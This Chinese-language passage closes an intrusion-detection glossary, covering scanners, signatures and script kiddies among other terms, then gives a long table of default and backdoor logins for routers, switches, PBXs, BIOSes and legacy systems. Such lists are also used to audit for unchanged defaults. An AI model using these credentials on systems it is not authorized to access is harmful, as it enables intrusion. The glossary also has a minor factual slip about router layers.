检测到一个入侵只是开始。更普遍的情况是，控制台操作员会不断地收到警报，由于根本无法分出时间来亲自追踪每个潜在事件，操作员会在感兴趣的事件上做出标志以备将来由事件处理团队来调查研究。在最初的反应之后，就需要对事件进行处理，也就是诸如调查、辩论和起诉之类的事宜。
Incident Response（事件响应）
对检测出的潜在事件的最初反应，随后对这些事件要根据事件处理的程序进行处理。
Islanding（孤岛）
孤岛就是把网络从Internet上完全切断，这几乎是最后一招了，没有办法的办法。一个组织只有在大规模的病毒爆发或受到非常明显的安全攻击时才使用这一手段。
Promiscuous（混杂模式）
默认状态下，IDS网络接口只能看到进出主机的信息，也就是所谓的non-promiscuous（非混杂模式）。如果网络接口是混杂模式，就可以看到网段中所有的网络通信量，不管其来源或目的地。这对于网络IDS是必要的，但同时可能被信息包嗅探器所利用来监控网络通信量。交换型HUB可以解决这个问题，在能看到全面通信量的地方，会都许多跨越（span）端口。
Routers（路由器）
路由器是用来连接不同子网的中枢，它们工作于OSI 7层模型的传输层和网络层。路由器的基本功能就是将网络信息包传输到它们的目的地。一些路由器还有访问控制列表（ACLs），允许将不想要的信息包过滤出去。许多路由器都可以将它们的日志信息注入到IDS系统中，提供有关被阻挡的访问网络企图的宝贵信息。
Scanners（扫描器）
扫描器是自动化的工具，它扫描网络和主机的漏洞。同入侵检测系统一样，它们也分为很多种，以下分别描述。
●扫描器种类1－Network Scanners（网络扫描器）：网络扫描器在网络上搜索以找到网络上所有的主机。传统上它们使用的是ICMP ping技术，但是这种方法很容易被检测出来。为了变得隐蔽，出现了一些新技术，例如ack扫描和fin扫描。使用这些更为隐蔽扫描器的另一个好处是：不同的操作系统对这些扫描会有不同的反应，从而为攻击者提供了更多有价值的信息。这种工具的一个例子是nmap。
●扫描器种类2－Network Vulnerability Scanners（网络漏洞扫描器）：网络漏洞扫描器将网络扫描器向前发展了一步，它能检测目标主机，并突出一切可以为黑客利用的漏洞。网络漏洞扫描器可以为攻击者和安全专家使用，但会经常让IDS系统"紧张"。该类产品有Retina和CyberCop。
●扫描器种类3－Host Vulnerability Scanners（主机漏洞扫描器）：这类工具就像个有特权的用户，从内部扫描主机，检测口令强度、安全策略以及文件许可等内容。网络IDS，特别是主机IDS可以将它检测出来。该类产品有SecurityExpressions，它是一个远程Windows漏洞扫描器，并且能自动修复漏洞。还有如ISS数据库扫描器，会扫描数据库中的漏洞。
Script Kiddies（脚本小子）
有些受到大肆宣扬的Internet安全破坏，如2000年2月份对Yahoo的拒绝服务攻击，是一些十来岁的中学生干的，他们干这些坏事的目的好象是为了扬名。安全专家通常把这些人称为脚本小子（Script Kiddies）。脚本小子通常都是一些自发的、不太熟练的cracker，他们使用从Internet 上下载的信息、软件或脚本对目标站点进行破坏。黑客组织或法律实施权威机构都对这些脚本小孩表示轻蔑，因为他们通常都技术不熟练，手上有大把时间可以来搞破坏，他们的目的一般是为了给他们的朋友留下印象。脚本小子就像是拿着抢的小孩，他们不需要懂得弹道理论，也不必能够制造枪支，就能成为强大的敌人。因此，无论何时都不能低估他们的实力。
Shunning（躲避）
躲避是指配置边界设备以拒绝所有不受欢迎的信息包，有些躲避甚至会拒绝来自某些国家所有IP地址的信息包。
Signatures（特征）
IDS的核心是攻击特征，它使IDS在事件发生时触发。特征信息过短会经常触发IDS，导致误报或错报，过长则会减慢IDS的工作速度。有人将IDS所支持的特征数视为IDS好坏的标准，但是有的产商用一个特征涵盖许多攻击，而有些产商则会将这些特征单独列出，这就会给人一种印象，好像它包含了更多的特征，是更好的IDS。大家一定要清楚这些。
Stealth（隐藏）
隐藏是指IDS在检测攻击时不为外界所见，它们经常在DMZ以外使用，没有被防火墙保护。它有些缺点，如自动响应。


路由器默认密码

Manufacturer Product Revision Protocol User ID Password Access Level Comment
3COM CellPlex 7000 Telnet tech tech
3COM CoreBuilder 7000/6000/3500/2500 Telnet debug synnet
3COM CoreBuilder 7000/6000/3500/2500 Telnet tech tech
3COM HiPerARC v4.1.x Telnet adm (none)
3COM LANplex 2500 Telnet debug synnet
3COM LANplex 2500 Telnet tech tech
3COM LinkSwitch 2000/2700 Telnet tech tech
3COM NetBuilder SNMP ANYCOM snmp-read
3COM NetBuilder SNMP ILMI snmp-read
3COM Office Connect ISDN Routers 5x0 Telnet n/a PASSWORD Admin
3COM SuperStack II Switch 2200 Telnet debug synnet
3COM SuperStack II Switch 2700 Telnet tech tech
3COM Telnet adm (none)
3COM Telnet admin synnet
3COM Telnet manager manager
3COM Telnet monitor monitor
3COM Telnet read synnet
3COM Telnet security security
3COM Telnet write synnet
3COM AirConnect Access Point 01.50-01 Multi n/a (none) Admin
3com OfficeConnect 812 ADSL Multi adminttd adminttd Admin
3com router Multi n/a (none) Admin
3com hub Multi n/a (none) Admin
3com Wireless AP ANY Multi admin comcomcom Admin Works on all 3com wireless APs
3COM LinkBuilder Telnet n/a (none) Admin
3COM CellPlex 7000 Telnet tech tech User
3com cellplex 7000 Telnet admin admin Admin
3com super stack II Console n/a (none) Admin
Accelerated Networks DSL CPE and DSLAM Telnet sysadm anicust
ADC Kentrox Pacesetter Router Telnet n/a secret
Adtran MX2800 Telnet n/a adtran
Advanced Integration PC BIOS Console n/a Advance Admin
Alcatel PBX 4400 Port 2533 kermit kermit unknown thanks to Nicolas Gregoire
Alcatel PBX 4400 Port 2533 dhs3mt dhs3mt unknown thanks to Nicolas Gregoire
Alcatel PBX 4400 Port 2533 at4400 at4400 unknown thanks to Nicolas Gregoire
Alcatel PBX 4400 Port 2533 mtch mtch unknown thanks to Nicolas Gregoire
Alcatel PBX 4400 Port 2533 mtcl mtcl unknown thanks to Nicolas Gregoire
Alcatel PBX 4400 Port 2533 root letacla unknown thanks to Nicolas Gregoire
Alcatel PBX 4400 Port 2533 dhs3pms dhs3pms unknown thanks to Nicolas Gregoire
Alcatel PBX 4400 Port 2533 adfexc adfexc unknown thanks to Nicolas Gregoire
Alcatel PBX 4400 Port 2533 client client unknown thanks to Nicolas Gregoire
Alcatel PBX 4400 Port 2533 install llatsni unknown thanks to Nicolas Gregoire
Alcatel PBX 4400 Port 2533 halt tlah unknown thanks to Nicolas Gregoire
Allied Telesyn Multi manager friend Admin
allied CJ8MO E-U Telnet (none) (none) Admin
Allied Telesyn Multi secoff secoff Admin
Allied Telesyn Switch AT-8124XL 1.0.3 Multi admin (none) Admin By Nicolas Gregoire
Alteon ACEDirector3 console admin (none)
Alteon ACEswitch 180e HTTP admin admin Admin
Alteon ACEswitch 180e Telnet admin (none)
AMI PC BIOS Console n/a amipswd Admin
AMI PC BIOS Console n/a AMISETUP Admin
AMI PC BIOS Console n/a BIOSPASS Admin
AMI PC BIOS Console n/a HEWITT RAND Admin
AMI PC BIOS Console n/a AM Admin
AMI PC BIOS Console n/a AMI Admin
AMI PC BIOS Console n/a A.M.I Admin
AMI PC BIOS Console n/a AMI_SW Admin
AMI PC BIOS Console n/a AMI?SW Admin
AMI PC BIOS Console n/a aammii Admin
AMI PC BIOS Console n/a AMI!SW Admin
AMI PC BIOS Console n/a AMI.KEY Admin
AMI PC BIOS Console n/a AMI.KEZ Admin
AMI PC BIOS Console n/a AMI~ Admin
AMI PC BIOS Console n/a AMIAMI Admin
AMI PC BIOS Console n/a AMIDECOD Admin
AMI PC BIOS Console n/a AMIPSWD Admin
Amptron PC BIOS Console n/a Polrty Admin
Asante IntraSwitch multi IntraSwitch Asante Admin
Asante IntraStack multi IntraStack Asante Admin
Ascend Yurie Multi readonly lucenttech2
Ascend Router Telnet n/a ascend Admin
Ascend Sahara Multi root ascend
Ascend Yurie Multi readwrite lucenttech1
AST PC BIOS Console n/a SnuFG5 Admin
ast powerexec 4/25sl Multi n/a (none) Admin
AT&T 3B2 Firmware Console n/a mcp Admin
Autodesk Autocad Multi autocad autocad User
Avaya Definity G3Si Multi craft (none) Admin
AVAYA g3R v6 Console root ROOT500 Admin
Avaya Definity G3Si Multi craft (none) Admin
Avaya Cajun Pxxx Multi root root Admin
AWARD PC BIOS Console n/a CONCAT Admin
AWARD PC BIOS Console n/a condo Admin
AWARD PC BIOS Console n/a CONDO Admin
AWARD PC BIOS Console n/a g6PJ Admin
AWARD PC BIOS Console n/a h6BB Admin
AWARD PC BIOS Console n/a HELGA-S Admin
AWARD PC BIOS Console n/a HEWITT RAND Admin
AWARD PC BIOS Console n/a HLT Admin
AWARD PC BIOS Console n/a j09F Admin
AWARD PC BIOS Console n/a j322 Admin
AWARD PC BIOS Console n/a j64 Admin
AWARD PC BIOS Console n/a lkw peter Admin
AWARD PC BIOS Console n/a lkwpeter Admin
AWARD PC BIOS Console n/a PASSWORD Admin
AWARD PC BIOS Console n/a SER Admin
AWARD PC BIOS Console n/a setup Admin
AWARD PC BIOS Console n/a SKY_FOX Admin
AWARD PC BIOS Console n/a SWITCHES_SW Admin
AWARD PC BIOS Console n/a Sxyz Admin
AWARD PC BIOS Console n/a SZYX Admin
AWARD PC BIOS Console n/a t0ch20x Admin
AWARD PC BIOS Console n/a t0ch88 Admin
AWARD PC BIOS Console n/a TTPTHA Admin
AWARD PC BIOS Console n/a TzqF Admin
AWARD PC BIOS Console n/a wodj Admin
AWARD PC BIOS Console n/a zbaaaca Admin
AWARD PC BIOS Console n/a Award Admin
AWARD PC BIOS Console n/a AWARD_SW Admin
AWARD PC BIOS Console n/a lkwpeter Admin
AWARD PC BIOS Console n/a LKWPETER Admin
AWARD PC BIOS Console n/a j262 Admin
AWARD PC BIOS Console n/a j256 Admin
AWARD PC BIOS Console n/a ?award Admin
AWARD PC BIOS Console n/a 01322222 Admin
AWARD v4.51PG v4.51PG Multi n/a SY_MB Admin It is useful and tested
AWARD PC BIOS Console n/a 256256 Admin
AWARD PC BIOS Console n/a admin Admin
AWARD PC BIOS Console n/a alfarome Admin
AWARD PC BIOS Console n/a aLLy Admin
AWARD PC BIOS Console n/a aPAf Admin
AWARD PC BIOS Console n/a award Admin
AWARD PC BIOS Console n/a awkward Admin
AWARD PC BIOS Console n/a BIOS Admin
AWARD PC BIOS Console n/a biosstar Admin
AWARD PC BIOS Console n/a biostar Admin
Axis NETCAM 200/240 Telnet root pass Admin
Bay Networks Switch 350T Telnet n/a NetICs Admin
Bay Networks SuperStack II Telnet security security Admin
Bay Networks Router Telnet User (none) User
Bay Networks Router Telnet Manager (none) Admin
BEA WebLogic https system weblogic Admin allow configuration of X509 certificates (Nicolas Gregoire)
Bintec Bianka Routers Multi admin bintec Admin
Biostar PC BIOS Console n/a Biostar Admin
Biostar PC BIOS Console n/a Q54arwms Admin
boson router simulator 3.66 Multi n/a (none) Admin
boson router simulator 3.66 Multi n/a (none) Admin
Breezecom Breezecom Adapters 3.x n/a Master Admin
Breezecom Breezecom Adapters 4.x n/a Super Admin
Breezecom Breezecom Adapters 2.x n/a laflaf Admin
Brother NC-3100h (none) access network board access
Brother NC-4100h (none) access network board access
Brother HL-1270n Multi n/a access network board access
Cabletron Netgear modem/router and SSR netman (none) Admin
Cabletron routers & switches (none) (none)
Cayman Cayman DSL n/a (none) Admin
Cayman Cayman DSL 3220-H } (none) Admin
Cisco IOS 12.1(3) SNMP n/a cable-docsis SNMP read-write might run on many Ciscos
Cisco IOS 11.x-12.x SNMP n/a ILMI limited READ/WRITE
Cisco CiscoWorks 2000 admin cisco Admin
Cisco CiscoWorks 2000 guest (none) User
CISCO Cache Engine Console admin diamond Admin
Cisco ConfigMaker cmaker cmaker Admin
Cisco IOS Multi cisco cisco
Cisco IOS Multi enable cisco IOS technically has no default pw
cisco cva 122 Telnet admin admin Admin
Cisco IOS 2600 series Multi n/a c but these are common misconfigurations
Cisco CNR All CNR GUI admin changeme Admin This is the default password for Cisco Network Registrar
Cisco IOS Multi n/a cc
Cisco IOS Multi n/a cisco
Cisco IOS Multi n/a Cisco router
Cisco Netranger/secure IDS Multi netrangr attack
Cisco-Arrowpoint Arrowpoint admin system Admin
Compaq PC BIOS Console n/a Compaq Admin
Compaq Insight Manager administrator administrator Admin
Compaq Insight Manager anonymous (none) User
Compaq Insight Manager user user User
Compaq Insight Manager operator operator
Compaq Insight Manager user public User
Compaq Insight Manager PFCUser 240653C9467E45 User
Computer Associates ControlIT ControlIT DEFAULT default Desktop/console access
Concord PC BIOS n/a last Admin
Crystalview OutsideView 32 Crystal Admin
CTX International PC BIOS Console n/a CTX_123 Admin
CyberMax PC BIOS Console n/a Congress Admin
D-Link hubs/switches Telnet D-Link D-Link
D-Link Cable/DSL Routers/Switches Multi (none) admin Admin Model: DI-704/DI-704P
Daewoo PC BIOS Console n/a Daewuu Admin
Dallas Semiconductors TINI embedded JAVA Module <= 1.0 Telnet root tini Admin
Datacom BSASX/101 n/a letmein Admin
Datawizard.net FTPXQ server FTP anonymous any@ read/write on c:\
Daytek PC BIOS Console n/a Daytec Admin
decnet decnet Multi operator admin Guest
Dell Latitude Bios D35B Multi n/a 1RRWTTOOI Admin
Dell CSr500xt Multi n/a admin Admin
dell inspiron Multi n/a admin Admin
Dell PC BIOS Console n/a Dell Admin
Demarc Network Monitor multi admin my_DEMARC Admin
Develcon Orbitor Default Console n/a BRIDGE Admin
Develcon Orbitor Default Console n/a password Admin
Dictaphone ProLog PBX PBX
Dictaphone ProLog NETWORK NETWORK
Dictaphone ProLog NETOP (none)
Digicorp Viper Telnet n/a BRIDGE Admin
Digicorp Viper Telnet n/a password Admin
Digital Equipment VMS Multi DEFAULT USER
Digital Equipment VMS Multi DEFAULT DEFAULT
Digital Equipment VMS Multi DEMO DEMO
Digital Equipment VMS Multi FIELD FIELD
Digital Equipment VMS Multi FIELD SERVICE
Digital Equipment VMS Multi FIELD TEST
Digital Equipment VMS Multi FIELD DIGITAL
Digital Equipment VMS Multi GUEST GUEST
Digital Equipment VMS Multi HELP HELP
Digital Equipment VMS Multi HELPDESK HELPDESK
Digital Equipment VMS Multi HOST HOST
Digital Equipment VMS Multi HOST HOST
Digital Equipment VMS Multi INFO INFO
Digital Equipment VMS Multi INGRES INGRES
Digital Equipment VMS Multi LINK LINK
Digital Equipment VMS Multi MAILER MAILER
Digital Equipment VMS Multi MBMANAGER MBMANAGER
Digital Equipment VMS Multi MBWATCH MBWATCH
Digital Equipment VMS Multi NETCON NETCON
Digital Equipment VMS Multi NETMGR NETMGR
Digital Equipment VMS Multi NETNONPRIV NETNONPRIV
Digital Equipment VMS Multi NETPRIV NETPRIV
Digital Equipment VMS Multi NETSERVER NETSERVER
Digital Equipment VMS Multi NETSERVER NETSERVER
Digital Equipment VMS Multi NETWORK NETWORK
Digital Equipment VMS Multi NEWINGRES NEWINGRES
Digital Equipment VMS Multi NEWS NEWS
Digital Equipment VMS Multi OPERVAX OPERVAX
Digital Equipment VMS Multi POSTMASTER POSTMASTER
Digital Equipment VMS Multi PRIV PRIV
Digital Equipment VMS Multi REPORT REPORT
Digital Equipment VMS Multi RJE RJE
Digital Equipment VMS Multi STUDENT STUDENT
Digital Equipment VMS Multi SYS SYS
Digital Equipment VMS Multi SYSMAINT SYSMAINT
Digital Equipment VMS Multi SYSMAINT SERVICE
Digital Equipment VMS Multi SYSMAINT DIGITAL
Digital Equipment VMS Multi SYSTEM SYSTEM
Digital Equipment VMS Multi SYSTEM MANAGER
Digital Equipment VMS Multi SYSTEM OPERATOR
Digital Equipment VMS Multi SYSTEM SYSLIB
Digital Equipment VMS Multi SYSTEST UETP
Digital Equipment VMS Multi SYSTEST_CLIG SYSTEST_CLIG
Digital Equipment VMS Multi SYSTEST_CLIG SYSTEST
Digital Equipment VMS Multi TELEDEMO TELEDEMO
Digital Equipment VMS Multi TEST TEST
Digital Equipment VMS Multi UETP UETP
Digital Equipment VMS Multi USER PASSWORD
Digital Equipment VMS Multi USERP USERP
Digital Equipment VMS Multi VAX VAX
Digital Equipment VMS Multi VMS VMS
Digital Equipment DEC-10 Multi 1 syslib Admin
Digital Equipment DEC-10 Multi 1 operator Admin
Digital Equipment DEC-10 Multi 1 manager Admin
Digital Equipment DEC-10 Multi 2 maintain Admin
Digital Equipment DEC-10 Multi 2 syslib Admin
Digital Equipment DEC-10 Multi 2 manager Admin
Digital Equipment DEC-10 Multi 2 operator Admin
Digital Equipment DEC-10 Multi 30 games User
Digital Equipment DEC-10 Multi 5 games User
Digital Equipment DEC-10 Multi 7 maintain User
Digital Equipment DecServer Multi n/a ACCESS Admin
Digital Equipment DecServer Multi n/a SYSTEM Admin
Digital Equipment IRIS Multi accounting accounting Admin
Digital Equipment IRIS Multi boss boss Admin
Digital Equipment IRIS Multi demo demo User
Digital Equipment IRIS Multi manager manager Admin
Digital Equipment IRIS Multi PDP11 PDP11 User
Digital Equipment IRIS Multi PDP8 PDP8 User
Digital Equipment IRIS Multi software software User
Digital Equipment PC BIOS Console n/a komprie Admin
Digital Equipment RSX Multi 1.1 SYSTEM Admin
Digital Equipment RSX Multi BATCH BATCH User
Digital Equipment RSX Multi SYSTEM MANAGER Admin
Digital Equipment RSX Multi SYSTEM SYSTEM Admin
Digital Equipment RSX Multi USER USER User
Digital Equipment Terminal Server Port 7000 n/a access User
Digital Equipment Terminal Server Port 7000 n/a system Admin
Digital Equipment VMS Multi ALLIN1 ALLIN1
Digital Equipment VMS Multi ALLIN1MAIL ALLIN1MAIL
Digital Equipment VMS Multi ALLINONE ALLINONE
Digital Equipment VMS Multi BACKUP BACKUP
Digital Equipment VMS Multi DCL DCL
Digital Equipment VMS Multi DECMAIL DECMAIL
Digital Equipment VMS Multi DECNET DECNET
Digital Equipment VMS Multi DECNET NONPRIV
Digital Equipment VMS Multi DECNET DECNET
Dynix Library Systems Dynix Multi SETUP (none) Admin
Dynix Library Systems Dynix Multi LIBRARY (none) User
Dynix Library Systems Dynix Multi circ User
Efficient Speedstream DSL Telnet n/a admin Admin
Efficient Networks Speedstream 5711 Teledanmark version (only .dk) Console n/a 4getme2 Admin for all your TDC router needs
Efficient Networks EN 5861 Telnet login admin Admin
Elsa LANCom Office ISDN Router 800/1000/1100 Telnet n/a cisco Admin
Elsa LANCom Office ISDN Router 800/1000/1100 Telnet n/a (none) Admin
enCAD XPO Multi n/a (none) Admin
Enox PC BIOS Console n/a xo11nE Admin
Epox PC BIOS Console n/a central Admin
Ericsson Ericsson Acc netman netman
ericsson md110 pabx up-to-bc9 Multi (none) help varies depending on config minimal list access by default
Extreme Networks Switches admin (none) Admin
Extreme Networks Swithces Multi admin (none) Admin submitted by Eastman Rivai
Extreme Networks Swithces Multi admin (none) Admin
Extreme Networks All Switches Multi admin (none) Admin Submitted by Eastman Rivai
Flowpoint 2200 SDSL Telnet admin admin Admin
Flowpoint DSL 2000 Telnet admin admin Admin
Flowpoint DSL Telnet n/a password Admin Installed by Covad
Flowpoint Flowpoint/2000 ADSL Telnet n/a (none) Admin
Flowpoint 100 IDSN Telnet admin admin Admin
Flowpoint 40 IDSL Telnet admin admin Admin
Freetech PC BIOS Console n/a Posterie Admin
Galacticomm Major BBS Multi Sysop Sysop Admin
glFtpD glFtpD all Console glftpd glftpd Admin
Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR HPP187
Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR HPP189
Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR HPP196
Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR INTX3
Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR ITF3000
Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR NETBASE
Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR REGO
Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR RJE
Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR CONV
Hewlett-Packard HP 2000/3000 MPE/xx Multi OPERATOR SYS
Hewlett-Packard HP 2000/3000 MPE/xx Multi OPERATOR DISC
Hewlett-Packard HP 2000/3000 MPE/xx Multi OPERATOR SYSTEM
Hewlett-Packard HP 2000/3000 MPE/xx Multi OPERATOR SUPPORT
Hewlett-Packard HP 2000/3000 MPE/xx Multi OPERATOR COGNOS
Hewlett-Packard HP 2000/3000 MPE/xx Multi PCUSER SYS
Hewlett-Packard HP 2000/3000 MPE/xx Multi RSBCMON SYS
Hewlett-Packard HP 2000/3000 MPE/xx Multi SPOOLMAN HPOFFICE
Hewlett-Packard HP 2000/3000 MPE/xx Multi WP HPOFFICE
Hewlett-Packard Vectra Console n/a hewlpack Admin
Hewlett-Packard HP 2000/3000 MPE/xx Multi ADVMAIL HPOFFICE DATA
Hewlett-Packard HP 2000/3000 MPE/xx Multi ADVMAIL HP
Hewlett-Packard HP 2000/3000 MPE/xx Multi FIELD SUPPORT
Hewlett-Packard HP 2000/3000 MPE/xx Multi FIELD MGR
Hewlett-Packard HP 2000/3000 MPE/xx Multi FIELD SERVICE
Hewlett-Packard HP 2000/3000 MPE/xx Multi FIELD MANAGER
Hewlett-Packard HP 2000/3000 MPE/xx Multi FIELD HPP187 SYS
Hewlett-Packard HP 2000/3000 MPE/xx Multi FIELD LOTUS
Hewlett-Packard HP 2000/3000 MPE/xx Multi FIELD HPWORD PUB
Hewlett-Packard HP 2000/3000 MPE/xx Multi FIELD HPONLY
Hewlett-Packard HP 2000/3000 MPE/xx Multi HELLO MANAGER.SYS
Hewlett-Packard HP 2000/3000 MPE/xx Multi HELLO MGR.SYS
Hewlett-Packard HP 2000/3000 MPE/xx Multi HELLO FIELD.SUPPORT
Hewlett-Packard HP 2000/3000 MPE/xx Multi HELLO OP.OPERATOR
Hewlett-Packard HP 2000/3000 MPE/xx Multi MAIL MAIL
Hewlett-Packard HP 2000/3000 MPE/xx Multi MAIL REMOTE
Hewlett-Packard HP 2000/3000 MPE/xx Multi MAIL TELESUP
Hewlett-Packard HP 2000/3000 MPE/xx Multi MAIL HPOFFICE
Hewlett-Packard HP 2000/3000 MPE/xx Multi MAIL MPE
Hewlett-Packard HP 2000/3000 MPE/xx Multi MANAGER TCH
Hewlett-Packard HP 2000/3000 MPE/xx Multi MANAGER SYS
Hewlett-Packard HP 2000/3000 MPE/xx Multi MANAGER SECURITY
Hewlett-Packard HP 2000/3000 MPE/xx Multi MANAGER ITF3000
Hewlett-Packard HP 2000/3000 MPE/xx Multi MANAGER HPOFFICE
Hewlett-Packard HP 2000/3000 MPE/xx Multi MANAGER COGNOS
Hewlett-Packard HP 2000/3000 MPE/xx Multi MANAGER TELESUP
Hewlett-Packard HP 2000/3000 MPE/xx Multi MGE VESOFT
Hewlett-Packard HP 2000/3000 MPE/xx Multi MGE VESOFT
Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR SYS
Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR CAROLIAN
Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR VESOFT
Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR XLSERVER
Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR SECURITY
Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR TELESUP
Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR HPDESK
Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR CCC
Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR CNAS
Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR WORD
Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR COGNOS
Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR ROBELLE
Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR HPOFFICE
Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR HPONLY
hp sa7200 Multi admin admin Admin
hp sa7200 Multi admin (none) Admin
IBM VM/CMS Multi DEMO2 (none)
IBM VM/CMS Multi DEMO3 (none)
IBM VM/CMS Multi DEMO4 (none)
IBM VM/CMS Multi DIRECT (none)
IBM VM/CMS Multi DIRMAINT (none)
IBM VM/CMS Multi DISKCNT (none)
IBM VM/CMS Multi EREP (none)
IBM VM/CMS Multi FSFADMIN (none)
IBM VM/CMS Multi FSFTASK1 (none)
IBM VM/CMS Multi FSFTASK2 (none)
IBM VM/CMS Multi GCS (none)
IBM VM/CMS Multi IDMS (none)
IBM VM/CMS Multi IDMSSE (none)
IBM VM/CMS Multi IIPS (none)
IBM VM/CMS Multi IPFSERV (none)
IBM VM/CMS Multi ISPVM (none)
IBM VM/CMS Multi IVPM1 (none)
IBM VM/CMS Multi IVPM2 (none)
IBM VM/CMS Multi MAINT (none)
IBM VM/CMS Multi MOESERV (none)
IBM VM/CMS Multi NEVIEW (none)
IBM VM/CMS Multi OLTSEP (none)
IBM VM/CMS Multi OP1 (none)
IBM VM/CMS Multi OPERATNS (none)
IBM VM/CMS Multi OPERATOR (none)
IBM VM/CMS Multi PDMREMI (none)
IBM VM/CMS Multi PENG (none)
IBM VM/CMS Multi PROCAL (none)
IBM VM/CMS Multi PRODBM (none)
IBM VM/CMS Multi PROMAIL (none)
IBM VM/CMS Multi PSFMAINT (none)
IBM VM/CMS Multi PVM (none)
IBM VM/CMS Multi RDM470 (none)
IBM VM/CMS Multi ROUTER (none)
IBM VM/CMS Multi RSCS (none)
IBM VM/CMS Multi RSCSV2 (none)
IBM VM/CMS Multi SAVSYS (none)
IBM VM/CMS Multi SFCMI (none)
IBM VM/CMS Multi SFCNTRL (none)
IBM VM/CMS Multi SMART (none)
IBM VM/CMS Multi SQLDBA (none)
IBM VM/CMS Multi SQLUSER (none)
IBM VM/CMS Multi SYSADMIN (none)
IBM VM/CMS Multi SYSCKP (none)
IBM VM/CMS Multi SYSDUMP1 (none)
IBM VM/CMS Multi SYSERR (none)
IBM VM/CMS Multi SYSWRM (none)
IBM VM/CMS Multi TDISK (none)
IBM VM/CMS Multi TEMP (none)
IBM VM/CMS Multi TSAFVM (none)
IBM VM/CMS Multi VASTEST (none)
IBM VM/CMS Multi VM3812 (none)
IBM VM/CMS Multi VMARCH (none)
IBM VM/CMS Multi VMASMON (none)
IBM VM/CMS Multi VMASSYS (none)
IBM VM/CMS Multi VMBACKUP (none)
IBM VM/CMS Multi VMBSYSAD (none)
IBM VM/CMS Multi VMMAP (none)
IBM VM/CMS Multi VMTAPE (none)
IBM VM/CMS Multi VMTLIBR (none)
IBM VM/CMS Multi VMUTIL (none)
IBM VM/CMS Multi VSEIPO (none)
IBM VM/CMS Multi VSEMAINT (none)
IBM VM/CMS Multi VSEMAN (none)
IBM VM/CMS Multi VTAM (none)
IBM VM/CMS Multi VTAMUSER (none)
IBM 8237 Multi I5rDv2b2JjA8Mm A52896nG93096a Admin
IBM 8225 Multi I5rDv2b2JjA8Mm A52896nG93096a Admin
IBM AIX Multi guest (none) User
IBM AIX Multi guest guest User
IBM Ascend OEM Routers Telnet n/a ascend Admin
IBM OS/400 Multi 11111111 11111111
IBM OS/400 Multi 22222222 22222222
IBM OS/400 Multi ibm password
IBM OS/400 Multi ibm 2222
IBM OS/400 Multi ibm service
IBM OS/400 Multi qpgmr qpgmr
IBM OS/400 Multi qsecofr qsecofr
IBM OS/400 Multi qsecofr 11111111
IBM A21m Multi n/a (none) Admin
IBM 390e Multi n/a admin Admin
ibm a20m Multi n/a admin Admin
IBM OS/400 Multi qsecofr 22222222
IBM OS/400 Multi qserv qserv
IBM OS/400 Multi qsrv qsrv
IBM OS/400 Multi qsrvbas qsrvbas
IBM OS/400 Multi qsvr qsvr
IBM OS/400 Multi qsvr ibmcel
IBM OS/400 Multi qsysopr qsysopr
IBM OS/400 Multi quser quser
IBM OS/400 Multi secofr secofr
IBM AIX 4.X Multi admin admin User
IBM PC BIOS Console n/a IBM Admin
IBM PC BIOS Console n/a MBIU0 Admin
IBM PC BIOS Console n/a sertafu Admin
ibm 600x Multi n/a admin Admin
IBM POS CMOS Console ESSEX
IBM POS CMOS Console IPC
IBM VM/CMS Multi $ALOC$ (none)
IBM VM/CMS Multi ADMIN (none)
IBM VM/CMS Multi AP2SVP (none)
IBM VM/CMS Multi APL2PP (none)
IBM VM/CMS Multi AUTOLOG1 (none)
IBM VM/CMS Multi BATCH (none)
IBM VM/CMS Multi BATCH1 (none)
IBM VM/CMS Multi BATCH2 (none)
IBM VM/CMS Multi CCC (none)
IBM VM/CMS Multi CMSBATCH (none)
IBM VM/CMS Multi CMSUSER (none)
IBM VM/CMS Multi CPNUC (none)
IBM VM/CMS Multi CPRM (none)
IBM VM/CMS Multi CSPUSER (none)
IBM VM/CMS Multi CVIEW (none)
IBM VM/CMS Multi DATAMOVE (none)
IBM VM/CMS Multi DEMO1 (none)
Intel Shiva Multi root (none) Admin
Intel Express 9520 Router Multi NICONEX NICONEX User
Intel Shiva Lanrovers Multi root (none) Admin
Intel Shiva Multi Guest (none) User
intel NetporrExpress Multi (none) (none) Admin
Intel Express 520T Switch Multi setup setup User
intel lan rover 6.7 Console root admin Admin
Interbase Interbase Database Server All Multi SYSDBA masterkey Admin
intex organizer Multi n/a (none) Admin
iso sistemi winwork Multi n/a (none) Admin
Iwill PC BIOS Console n/a iwill Admin
JD Edwards WorldVision/OneWorld All(?) Console JDE JDE Admin/SECOFR
JDS Microprocessing Hydra 3000 r2.02 Console hydrasna (none) Adminhttp://www.hydrasystems.com/h3kdocs/H3R25C04.pdf
Jetform Jetform Design HTTP Jetform (none) Admin
JetWay PC BIOS Console n/a spooml Admin
Joss Technology PC BIOS Console n/a technolgi Admin
Joss Technology PC BIOS Console n/a 57gbzb Admin
kaptest usmle HTTP admin (none) Admin
Kyocera EcoLink 7.2 HTTP n/a PASSWORD Admin
Kyocera Telnet Server IB-20/21 multi root root Admin
Lantronics Lantronics Terminal Server TCP 7000 n/a access Admin
Lantronics Lantronics Terminal Server TCP 7000 n/a system Admin
Lantronix Lantronix Terminal TCP 7000 n/a lantronix Admin
Leading Edge PC BIOS Console n/a MASTER Admin
Linksys DSL Telnet n/a admin Admin
Linksys EtherFast Cable/DSL ROuter Multi Administrator admin Admin
